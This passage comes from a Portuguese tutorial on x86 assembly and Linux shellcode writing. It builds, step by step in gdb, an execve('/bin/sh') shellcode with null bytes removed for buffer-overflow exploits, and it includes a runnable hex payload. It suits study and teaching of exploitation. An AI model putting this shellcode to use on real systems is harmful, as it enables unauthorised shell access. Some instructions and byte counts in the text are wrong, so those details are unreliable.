operacoes  logicas!  Conhecemos  elas  em  quase  todas  as  linguagens  que  se
prezem!Veremos  uma  comparacao  das  insrucoes  logicas  assembly  com  as   do
C.Vejamos:

     C	     Equivalente em     ASM
 --------  ----------------- --------

     & 				AND
     |				 OR
     ~				NOT
     ^				XOR

Nao vou colocar aqui a tabela verdade, olhe em qualquer tutorial de programacao,
pois quando a coisa eh logica, eh logica para todos!!:) Vejamos agora a  sintaxe
para cade instrucao logica:

* AND -> Eh o "e" logico.Sua sintaxe segue no exemplo abaixo:

	 and $0xfff,%eax

* OR  -> Eh o "ou" logico.

	 or $0xfff,%eax

* NOT -> Eh o "nao" logico.Eh usado para inverter os bits de um byte ou
	 uma word.

	 not %edx

* XOR -> Conhecido como "OR" exclusivo.XOR funciona da mesma forma que OR,
	 soh que usado exclusivamente,se apenas uma variavel tiver
         resultado esperado.Ele eh muito usado para inverter um determinado
	 bit de um byte ou um word, sem afetar os outros bits.

	 xor %edx

Caso tenha duvidas sobre isso, pesquise nos links mano, tem coisas boas lah!

--------------
7 - SHELLCODE |
--------------

Bem, chegamos entao a parte que de fato nos interessa.Escrever shellcodes nao eh
considerado coisa facil.Um  conhecimento basico de  assembly se faz  mais do que
necessario, uma vez que coloquei esses dados aih em cima, isso nao quer dizer de
modo  algum  que  voce  estah  apto para  sair  dizendo  por  aih  que manja  de
assembly.Meu  intuito  nao  eh  e nunca  serah  de  tornar  alguem expert  nesse
quesito.Se quiser, creio  que irah querer  ou ateh mesmo  irah necessitar, corra
atras de mais informacoes sobre isso.  Na parte de links voce poderah  encontrar
mais  textos que  o ajudarao  a aprender  essa fascinante  e dificil  linguagem.
Partindo do pre-suposto que voce sabe programar o basico em ASM e C,pois  nossos
shellcodes serao para exploits em C, iremos agora dar inicio a esse  emocionante
aprendizado.

Como vimos  lah em  cima o  modelo usual  de memoria  nos possibilita  colocar e
armazenar dados numa regiao de memoria conhecida como Stack ou pilha.Uma vez que
podemos colocar dados, usaremos nossos neuronios para atingir nossos  objetivos,
a execucao de codigos via instrucoes asm no Stack.Nao entrarei em detalhes sobre
codigo arbitrario  pelo buffer,  ou mais  conhecido como  buffer overflow,  irei
explicar a  escrita basica  de shellcodes,  mas voce  terah que  pensar em  teus
esquemas,soh  recapitulo  que  antes  de  um  programa  ser  executado  o  FRAME
POINTER(EBP)  eh  salvo,em seguida  faz  do atual  STACK  POINTER o  novo  frame
pointer,  isso  eh   o  que  costumamos   chamar  de  procedimento   inicial  ou
preludio,isso servirah  mais a  frente para  intuitos de  overflow. Mais  abaixo
descreverei possiveis esquemas de uso para isso tudo.

Bem, para comecarmos,  iremos trabalhar em  cima do shellcode  mais conhecido na
atualidade, o codigo de execucao de /bin/sh.Vejamos:

7.1 - SHELLCODE /BIN/SH
------------------------

Este shellcode eh bastante difundido, e voce pode ver em varios txts como ele eh
escrito, mas  creio que  nao tao  de forma  detalhada quanto  neste, de qualquer
forma, este shellcode  eh bastante util,  principalmente em situacoes  de buffer
overflows.O seu codigo-fonte mais simples em C eh o seguinte:

/* Futuro shellcode /bin/sh */

#include
main(){
char *comando[2];
comando[0]="/bin/sh";
comando[1]=NULL;
execve(comando[0],comando,NULL);
}

Se voce compilar ele normalmente verah que funciona perfeitamente.
[localhost:/]$ gcc -o shell shell.c
[localhost:/]$ ./bin_sh
$exit
exit

Agora iremos partir para analisar seu codigo em gdb.Para isso faz-se
necessario que voce o compile da seguinte forma:

[localhost:/]$gcc -o shell -static -ggdb shell.c

Feito isso amigo, prosseguimos abrindo seu codigo pelo debugador da
gnu(gdb) da seguinte forma:

[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Em seguida digitamos "disassemble main", para que o gdb nos forneca o
codigo da funcao main em linguagem assembly.Veremos:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     sub    $0x8,%esp
0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)
0x804815d :    movl   $0x0,0xfffffffc(%ebp)
0x8048164 :    push   $0x0
0x8048166 :    lea    0xfffffff8(%ebp),%eax
0x8048169 :    push   %eax
0x804816a :    mov    0xfffffff8(%ebp),%eax
0x804816d :    push   %eax
0x804816e :    call   0x80483fc
0x8048173 :    add    $0xc,%esp
0x8048176 :    mov    %ebp,%esp
0x8048178 :    pop    %ebp
0x8048179 :    ret
End of assembler dump.
(gdb)

Bem amigo, vamos com calma, para  quem nao tem conhecido basico de  assembly sem
duvida estah voando nas instrucoes acima, mas veremos abaixo,no decorrer, o  que
representa cada instrucao desta aih.Se voce eh fera em assembly, vai pulando!

Vamos analisar o que estah sendo feito:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     sub    $0x8,%esp

Essa  tres primeiras  linhas correspondem  ao processo  inicial ou  procedimento
preludio.O  que  essas linhas  fazem  eh aquilo  que  descrevi no  inicio  desse
"capitulo" ,o que elas fazem eh:  primeiro eh salvar o frame pointer  antigo, em
seguida faz  do atual  stack pointer  o novo  frame pointer(mov %esp,%ebp), logo
apos autoriza espaco para as variaveis locais, onde no nosso caso eh:

char *comando[2];

Lembrando que ponteiro  eh uma word  long, entao ele  autoriza espaco para  duas
words ou 8 bytes como vimos(sub $0x8,%esp).Continuando:

0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)

Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo
feito aih eh a  copia do endereco da  string "/bin/sh"(valor 0x8058b28) sobre  o
primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] =
"/bin/sh". Continuando:

0x804815d :    movl   $0x0,0xfffffffc(%ebp)

O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL,
sobre o segundo ponteiro de comando[].Isto eh equivalente a:
comando[1] = NULL; em nosso codigo shell.c acima.Continuando:

0x8048164 :    push   $0x0

Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando,
o programa empurra os argumentos de execve em ordem inversa(do ultimo
argumento para o primeiro) sobre o stack.Acima vimos que comeca com
0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL);
Eh a este NULL que estamos nos referindo.Continuando:

0x8048166 :    lea    0xfffffff8(%ebp),%eax

Aqui ocorre o carregamento do endereco de comando[] sobre o registrador
EAX.Continuando:

0x8048169 :    push   %eax

Esse nao possui segredo, o que ocorreu foi que empurramos o endereco
de comando[] que havia sido previamente carregado no registrado EAX
sobre o Stack. Continuando:

0x804816a :    mov    0xfffffff8(%ebp),%eax

Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador
EAX.Continuando:

0x804816d :    push   %eax

Novamente a funcao push(), que nos diz dessa vez que estamos empurrando
os dados do registrado EAX, que nesse caso eh o endereco da string
"/bin/sh", sobre o Stack.Continuando:

0x804816e :    call   0x80483fc

Aqui  acontece  o  seguinte,  ocorre a  chamada  a  biblioteca  de procedimentos
execve(), ou  simplesmente a  chamada propriamente  dita da  funcao execve().  A
instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que  apos
a execucao de  execve(), nosso programa  termina, entao as  linhas abaixo seguem
para voltar as rotinas anteriores:

0x8048173 :    add    $0xc,%esp

0x8048176 :    mov    %ebp,%esp
0x8048178 :    pop    %ebp
0x8048179 :    ret

Ocorre aih em  cima o seguinte,  eh o processo  de saida, retorna  o velho frame
pointer, faz dele o  stual stack pointer em  seguida esvazia a pilha  com pop. e
ret retorna p/ o sistema.

Agora analisaremos a funcao execve();

(gdb) disassemble execve
Dump of assembler code for function execve:
0x80483fc :     push   %ebp
0x80483fd :   mov    %esp,%ebp
0x80483ff :   push   %ebx
0x8048400 :   mov    $0xb,%eax
0x8048405 :   mov    0x8(%ebp),%ebx
0x8048408 :  mov    0xc(%ebp),%ecx
0x804840b :  mov    0x10(%ebp),%edx
0x804840e :  int    $0x80
0x8048410 :  mov    %eax,%edx
0x8048412 :  test   %edx,%edx
0x8048414 :  jge    0x8048426
0x8048416 :  neg    %edx
0x8048418 :  push   %edx
0x8048419 :  call   0x8050b28 <__normal_errno_location>
0x804841e :  pop    %edx
0x804841f :  mov    %edx,(%eax)
0x8048421 :  mov    $0xffffffff,%eax
0x8048426 :  pop    %ebx
0x8048427 :  mov    %ebp,%esp
0x8048429 :  pop    %ebp
0x804842a :  ret
0x804842b :  nop
End of assembler dump.

O codigo parece complicado a  primeira vista,muitas instrucoes em assmebly,  nao
tao  conhecidas p/  um newbie,  como neg,test,jne,  mas que  sao explicadas  em
diversos tutoriais  internet a  fora.A maioria  das coisas  voce jah  pode saber
somente olhando e comparando com as explicacoes passadas. Mas vejamos:

0x80483fc :     push   %ebp
0x80483fd :   mov    %esp,%ebp
0x80483ff :   push   %ebx

Isso  eh o  mesmo procedimento  inicial descrito  na explicacao  sobre a  funcao
main().Pega-se o velho frame  pointer e salva-o, em  seguida faz do atual  stack
pointer o novo frame pointer e depois o empurra no stack.
Continuando:

0x8048400 :   mov    $0xb,%eax
Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde
ao system call execve() na tabela de system calls do sistema.Voce pode
conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso
varia de linux para linux,mas creio que nao.Continuando:

0x8048405 :   mov    0x8(%ebp),%ebx

O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX.
Continuando:

0x8048408 :  mov    0xc(%ebp),%ecx

Copiamos o endereco de comando[] sobre ECX.

0x804840b :  mov    0x10(%ebp),%edx

Copiamos o endereco do ponteiro nulo (NULL) sobre EDX.

0x804840e :  int    $0x80

Aqui nos mudamos para o modo kernel.

Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da  funcao
execve(), esses comandos que seguem  abaixo, jah sao mais complexos  e acredite,
creio serem  inuteis para  os nossos  objetivos!!Uma vez  que se  entra no  modo
kernel, as intrucoes  que seguem "nao  fazem" parte do  nosso programa.Se quiser
ver  como  a  coisa vai  se  complicando  digite na  linha  de  comandos do  gdb
"disassemble __normal_errno_location" e por aih vai.

O estudo  detalhado acima  nos dah  uma boa  base para  sabermos como funciona o
processo de execucao de nosso programa shell.c em instrucoes de "maquina".

Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode.
Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode:

1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria.
   Lembrando que estamos querendo executar esse comando, se fosse outro,
   logico que poderiamos mudar isso, mas a coisa se complicaria ainda
   mais.

2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
   por uma word null long.Por que isso? lembra do esquema:
   comando[1] = NULL;
   Se faz necessario isso aqui.

3. Copiar 0xb sobre o registrador EAX.
   Lembrando que de acordo com a tabela de system calls que podemos achar
   em /usr/include/sys/syscall.h, o numero decimal correspondente ao
   syscall execve() eh 11 (0xb).

4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX.

5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX.

6. Copiar o endereco da word null long sobre o registrador EDX.

7. Executar a intrucao int $0x80.

Para facilitar o aprendizado veremos como cada um dos passos citados
acima, no nosso exemplo inicial de shellcode:

1. 0x8048156 :     movl   $0x8058b28,0xfffffff8(%ebp)

2. 0x804815d :    movl   $0x0,0xfffffffc(%ebp)

3. 0x8048400 :   mov    $0xb,%eax

4. 0x8048405 :   mov    0x8(%ebp),%ebx

5. 0x8048408 :  mov    0xc(%ebp),%ecx

6. 0x804840b :  mov    0x10(%ebp),%edx

7. 0x804840e :  int    $0x80

O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na
construcao  de um  shellcode eficiente.Por  exemplo,para evitar  que o  programa
continue buscando  instrucoes para  o Stack,  caso a  funcao execve()  falhe.Nos
precisaremos usar um artificio que faca com que o programa saia limpamente, caso
haja falha em execve().Sair limpamente significa voltar a linha de comando,  sem
que o programa  busque dados aleatorios  caso execve() falhe.Para  fazermos isso
basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos  isso
da seguinte forma:

Pegamos e compilamos o programa abaixo:

------------------------------------------------------------------------
/* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE
   CASO EXECVE() FALHE
   Compile com: gcc -o saida -static -ggdb saida.c
*/

#include

void main(){
exit(0);
}
-----------------------------------------------------------------------

Compilamos ele entao:
[localhost:/]$ gcc -o saida -static -ggdb saida.c

Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para
vermos como isso fica em asm:

[localhost:/]$gdb saida
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que
queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui).

(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x80483e4 <_exit>:      push   %ebp
0x80483e5 <_exit+1>:    mov    %esp,%ebp
0x80483e7 <_exit+3>:    push   %ebx
0x80483e8 <_exit+4>:    mov    $0x1,%eax
0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx
0x80483f0 <_exit+12>:   int    $0x80
0x80483f2 <_exit+14>:   mov    0xfffffffc(%ebp),%ebx
0x80483f5 <_exit+17>:   mov    %ebp,%esp
0x80483f7 <_exit+19>:   pop    %ebp
0x80483f8 <_exit+20>:   ret
0x80483f9 <_exit+21>:   nop
0x80483fa <_exit+22>:   nop
0x80483fb <_exit+23>:   nop
End of assembler dump.

Podemos facilmente ver algumas coisas, vamos analisar este codigo.

0x80483e4 <_exit>:      push   %ebp
0x80483e5 <_exit+1>:    mov    %esp,%ebp
0x80483e7 <_exit+3>:    push   %ebx

Procedimento inicial, o mesmo esquema descrito para a funcao execve()
acima.Continuando:

0x80483e8 <_exit+4>:    mov    $0x1,%eax

Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero
correspondente ao system call exit() na tabela de system calls.
Continuando:

0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx

Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos
porque logo abaixo.quando virmos algumas linhas de main().

0x80483f0 <_exit+12>:   int    $0x80

Muda para o modo kernel.

Disassemblando main, teremos:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     push   $0x0
0x8048155 :     call   0x804829c
0x804815a :    add    $0x4,%esp
0x804815d :    lea    0x0(%esi),%esi
0x8048160 :    mov    %ebp,%esp
0x8048162 :    pop    %ebp
0x8048163 :    ret
End of assembler dump.

O que nos interessa para entendermos a linha <_exit+9> do codigo asm
de exit() eh somente o seguinte:

0x8048153 :     push   $0x0
0x8048155 :     call   0x804829c

Como o Stack pega os argumento de tras para frente, na linha do nosso
programa saida.c: exit(0), em asm teremos:

push $0x0  -> Empurra 0 sobre o Stack.
call exit  -> Chama a funcao exit().

Isso tudo fica armazenado em:
0x80483ed <_exit+9>:    mov    0x8(%ebp),%ebx

Eis aih o porque.
Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas
retornam 0 na saida para indicar que nao possui erros.Se tiver acesso
ao codigo fonte dos programas, verifique, porque isso pode muito bem
mudar.

Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita
no exemplo acima, nossos passos em busca de um shellcode eficiente mudam.
Teremos entao agora:

1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria.

2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
   por uma word null long.

3. Copiar 0xb sobre o registrado EAX.

4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado
   EBX.

5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX.

6. Copiar o endereco da null word long sobre o registrador EDX.

7. Executar a instrucao int $0x80.

* Aqui comeca o exit().

8. Copiar 0x1 sobre registrado EAX.

9. Copiar 0x0 sobre o registrador EBX.

10.Executar a instrucao $0x80.

Como podemos ver, para a funcao  exit() nao temos muita coisa,senao tres  linhas
apenas, expliquei tudo aquilo acima porque  quero que voce entenda como a  coisa
funciona.Nao vejo como saber que necessitamos  do passo 9, sem sabermos de  onde
vem esse 0x0. Lembrando que eh para  Newbies que escrevo, nao o termo Newbie  do
livro "A Internet e os Hackers", onde a unica coisa que escapa neste livro eh  a
capa, tem um bom ditado para isso: "Nao julgue o livro pela capa!", quando  falo
Newbies, sao sim pesquisadores, pessoas  com espirito com fome de  conhecimento,
mas  que  por  um  motivo  ou   outro,  nao  conseguem  acesso  a  material   de
nivel.Manisfestos a parte, vamos continuando nossa jornada.

Sabemos os  passos que  devemos seguir,  entao iremos  agora formar esses passos
num esquema de codigos asm para facilitar ainda mais nosso aprendizado.

O esquema seria mais ou menos o seguinte:

movl endereco_da_string, endereco_do_endereco_da_string
movb $0x0, endereco_do_byte_nulo
movl $0x0, endereco_do_nulo
movl $0xb, %eax
movl endereco_da_string, %ebx
leal endereco_da_string, %ecx
leal string_nula, %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh vem aqui.

Podemos  visualizar  que  estamos  bem  proximo  de  conseguir  efetivar   nosso
shellcode.Mas surge um problema,  nos nao sabemos onde  no espaco da memoria  do
programa alvo  nos iremos  exploitar o  codigo(e a  string que  segue ele  serah
colocada).Uma possivel solucao  para isso, seria  usar as instrucoes  JMP e CALL
para  circular  nosso  codigo.Essas  instrucoes  podem  usar  enderecamento   IP
relativo, que despreza  que nos podemos  saltar para um  offset do IP  atual sem
necessitar saber  o endereco  exato de  onde na  memoria nos  queremos saltar.Se
colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP  para
ela(instrucao CALL), o endereco da string  serah empurrado sobre o Stack como  o
endereco  de retorno(return  address) quando  CALL for  executado.Exato amigo!!
Acontecerah exatamente isto que  voce estah imaginando.Mas para  isso precisamos
copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode
chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm:

jmp offset-para-chamar                  # 2 bytes
popl %esi                               # 1 byte
movl %esi, array-offset(%esi)           # 3 bytes
movb $0x0, nullbyte-offset(%esi)        # 4 bytes
movl $0x0, null-offset(%esi)            # 7 bytes
movl $0xb, %eax                         # 5 bytes
movl %esi, %ebx                         # 2 bytes
leal array-offset(%esi), %ecx           # 3 bytes
leal null-offset(%esi), %edx            # 3 bytes
int $0x80                               # 2 bytes
movl $0x1, %eax                         # 5 bytes
movl $0x0, %ebx                         # 5 bytes
int  $0x80                              # 2 bytes
call offset-para-popl                   # 5 bytes
/bin/sh vem aqui                        # 5 bytes

Analizando bem o esquema acima, veremos algumas mudancas, nao nos  conceitos,mas
na sintaxe asm propriamente dita, onde  (%esi) eh o source index, que  se refere
ao endereco  da memoria  onde se  encontrarah a  nossa string /bin/sh, lembrando
amigo, que esse comando descrito no final do esquema acima,mais precisamente  na
ultima linha(/bin/sh), eh o que queremos executar a partir da shell.Voce poderia
e pode, perfeita- mente colocar um comando, como "/bin/ls", para ver que isso se
refere somente a  um argumento para  a execucao de  um comando pela  shell. Isto
torna as  coisas  claras, no final  desse exemplo com  /bin/sh, eu acrescentarei
alguns possiveis comandos substitutos para essa ultima linha,  inclusive  alguns
exemplo de codigos maliciosos. Abaixo segue uma explicacao simples detalhando  o
que eh o eskema acima:

jmp offset-para-chamar                  # 3 bytes
popl %esi                               # 1 byte

Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito faz  saltar
para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset
eh o endereco de call, apos isso, call chamarah popl %esi.Continuando:

movl %esi, array-offset(%esi)           # 3 bytes
movb $0x0, nullbyte-offset(%esi)        # 4 bytes
movl $0x0, null-offset(%esi)            # 7 bytes
movl $0xb, %eax                         # 5 bytes
movl %esi, %ebx                         # 2 bytes
leal array-offset(%esi), %ecx           # 3 bytes
leal null-offset(%esi), %edx            # 3 bytes
int $0x80                               # 2 bytes

Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve().
Continuando:

movl $0x1, %eax                         # 5 bytes
movl $0x0, %ebx                         # 5 bytes
int  $0x80                              # 2 bytes

Acima estao os codigos referentes a funcao exit(), descritos nos nossos
passos de 8 a 10.Continuando:

call offset-para-popl                   # 5 bytes
/bin/sh vem aqui                        # 8 bytes

Aih  em cima  podemos ver  a instrucao  call, responsavel  por fazer  o giro  ou
circulo.Essa instrucao  chama a  intrucao popl  lah em  cima.Voce pode  estar se
perguntando  se  esse  giro  nao seria  um  loop  infinito.Na  verdade isso  nao
acontece, lembrando, estamos trabalhando com assembly, como estamos  manipulando
enderecos de memoria, o endereco correspondente a instrucao call que eh  saltada
usando  jmp  no  inicio,  nao  serah  mais  chamado,  logo  nao  existe  um loop
infinito.Acho que as  coisas sao mais  claras para o  pessoal que meche  bem com
"goto". :) Voce pode recapitular o item 6.4, caso ainda tenha duvida.

O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah
acontecendo aqui:

Parte inferior                                    Topo da Memoria
da memoria

          buffer         sfp   ret      a       b        c

<---- [JJSSSSSSSSCCss] [ssss] [0xD8]  [0x01]  [0x02]  [0x03]
       ^|^       ^|              |
       |||_______||______________|
        ||_______||
         |________|

Topo do Stack                                     Parte inferior do Stack

Onde:

J -> Refere a intrucao JMP.
C -> Refere a instrucao CALL.
S -> Codigo asm que queremos executar.
s -> Codigo da string que queremos executar ("/bin/sh").

buffer -> Nosso buffer que conterah o shellcode..
sfp -> O frame pointer.      --_ Para efeito de
ret -> Endereco de retorno.  --    overflows

A seta indica para onde estah saltando a instrucao.

Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os
offsets necessarios para jmp saltar para call, de call para popl, do endereco da
string para o array, e  do endereco da string p/  a word null long. Caso  alguem
possua  duvidas  de como  se  descobrir os  offsets,  lembro novamente,  eh  bom
aprender   mais   sobre  assembly   e   praticar  as   operacoes   com  sistemas
numericos(decimal,hexa e binario)!!

Colocarei  novamente o  codigo para  que nao  haja duvidas  sobre como  saber o
endereco dos offsets a chamar.

jmp offset-para-chamar                # 3 bytes
popl %esi                             # 1 byte  ------	<---------------
movl %esi, array-offset(%esi)         # 3 bytes       |			|
movb $0x0, nullbyte-offset(%esi)      # 4 bytes       |			|
movl $0x0, null-offset(%esi)          # 7 bytes       |			|
movl $0xb, %eax                       # 5 bytes       | Somando tudo	|
movl %esi, %ebx                       # 2 bytes       |   teremos	|
leal array-offset(%esi), %ecx         # 3 bytes       ->  42 bytes	|
leal null-offset(%esi), %edx          # 3 bytes       |(0x2a em hexa)	|
int $0x80                             # 2 bytes       |			|
movl $0x1, %eax                       # 5 bytes       |			|
movl $0x0, %ebx                       # 5 bytes       |			|
int  $0x80                            # 2 bytes ______|			|
call offset-para-popl                 # 5 bytes --> 42 + 5 = 47(0x2f)---
/bin/sh vem aqui                      # 8 bytes

Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa
C, com os respectivos enderecos calculados. Somente observe, nao compile ainda.

#include
#include
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}

Existe um  probleminha amigo,  para que  o nosso  codigo funcione,  necessitamos
declarar ele  como uma  variavel global,  para podermos  colocar nosso codigo no
Stack  ou  Segmento  Data(onde teremos  permissao  de  escrita) ,transferindo  o
controle  para  ele,pois  nosso  codigo modifica  ele  mesmo  e  muitos sistemas
operacionais  marcam  paginas de  codigos  read-only(soh leitura).Para  fazermos
isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo
como fazer isso tudo:

* Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe
  na linha de comando:

[localhost:/]$gcc -o shell -g -ggdb shell.c

* Em seguida executamos o debugador.

[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details. This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

* Agora vem a parte que se exige mais paciencia do fucador.Muita gente
  acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia
  amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal
  correspondente a cada uma da linha de comando.Para fazer isso voce
  digita o seguinte:

(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     jmp    0x804817f
0x8048155 :     pop    %esi
0x8048156 :     mov    %esi,0x8(%esi)
0x8048159 :     movb   $0x0,0x7(%esi)
0x804815d :    movl   $0x0,0xc(%esi)
0x8048164 :    mov    $0xb,%eax
0x8048169 :    mov    %esi,%ebx
0x804816b :    lea    0x8(%esi),%ecx
0x804816e :    lea    0xc(%esi),%edx
0x8048171 :    int    $0x80
0x8048173 :    mov    $0x1,%eax
0x8048178 :    int    $0x80
0x804817a :    call   0x8048150
0x804817f :    das
0x8048180 :    bound  %ebp,0x6e(%ecx)
0x8048183 :    das
0x8048184 :    jae    0x80481ee <__new_exitfn+54>
0x8048186 :    add    %cl,0x90c35dec(%ecx)
End of assembler dump.

Isso voce jah sabe  o que faz(mostra codigo  asm do nosso programa),agora  amigo
para saber  o codigo  hexadecimal de  cada um  desses comandos,  voce terah  que
digitar o seguinte " x/xb " como no esquema abaixo:

(gdb) x/xb main+3
0x8048153 :     0xeb
(gdb) x/xb main+4
0x8048154 :     0x2a
(gdb) x/xb main+5
0x8048155 :     0x5e
(gdb) x/xb main+6
0x8048156 :     0x89
.
.
.
(gdb) x/xb main+56
0x8048188 :    0xec
(gdb) x/xb main+57
0x8048189 :    0x5d
(gdb) x/xb main+58
0x804818a :    0xc3
(gdb) x/xb main+59
0x804818b :    0x90

Voce comecarah com  o indice "main+3"  e irah ateh  quando chegar o  hexadecimal
"0x90"  que  corresponde  a  instrucao  NOP,  que  corresponte  a  uma instrucao
vazia(sem operacao nenhuma), que faz com que o programa siga em frente, como  se
ela nao existisse (essa linha nao deve entrar no nosso shell code).Caso em outro
shellcode  feito por  voce, isso  nao apareca,  coloque os  hexadecimais ateh  a
ultima instrucao da funcao main().

Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa
variavel global, como no esquema abaixo:

/* Exemplo inicial de shellcode
   Compile com: $gcc -o shell1 shell1.c

 */
#include

char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *retorno;
  retorno = (int *)&retorno + 2;
   (*retorno) = (int)shellcode;

}

Depois de compilado voce pode executar ele normalmente, como no exemplo
abaixo:

[localhost:/]$ gcc -o shell1 shell1.c
[localhost:/]$./shell1
bash$ exit
exit

Como podemos ver, ele funciona perfeitamente.Mas vou direcionar agora a  solucao
de  um  problema para  aqueles  que usarao  shellcodes  em buffer  overflows.Nao
podemos inserir ele  num exploit sem  antes tirar-lhe todos  os bytes nulos(null
bytes).Por  que?  Leia  o  tutorial  sobre  overflows  que  fiz,  em  breve   na
http://unsekurity.virtualave.net  ...ele  explica o  porque  disso. Seguindo  em
frente, para tirarmos os bytes nulos, seguimos o seguinte esquema:

Instrucao com null byte                       Trocar por:
------------------------------------------------------------------------
movb $0x0,0x7(%esi)                         xorl %eax,%eax
                                            movb %eax,0x7(%esi)
movl $0x0,0xc(%esi)                         movl %eax,0xc(%esi)
-------------------------------------------------------------------------
movl $0xb,%eax                              movb $0xb,%al
-------------------------------------------------------------------------
movl $0x1,%eax                              xorl %ebx,%ebx
movl $0x0,%ebx                              movl %ebx,%eax
                                            inc  %eax
-------------------------------------------------------------------------
Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar
os null bytes.Veremos entao como fica o nosso codigo apos a substituicao
dos mesmos:

/* Shellcode com sobstituicao dos null bytes */

#include
main(){
__asm__("
jmp 0x1f                                #2 bytes
popl %esi                               #1 byte
movl %esi,0x8(%esi)                     #3 bytes
xorl %eax,%eax                          #2 bytes
movb %eax,0x7(%esi)                     #3 bytes
movl %eax,0xc(%esi)                     #3 bytes
movb $0xb,%al                           #2 bytes
movl %esi,%ebx                          #2 bytes
leal 0x8(%esi),%ecx                     #3 bytes
leal 0xc(%esi),%edx                     #3 bytes
int $0x80                               #2 bytes
xorl %ebx,%ebx                          #2 bytes
movl %ebx,%eax                          #2 bytes
inc %eax                                #1 byte
int $0x80                               #2 bytes
call -0x24                              #5 bytes
.string \"/bin/sh\"                     #8 bytes
");
}

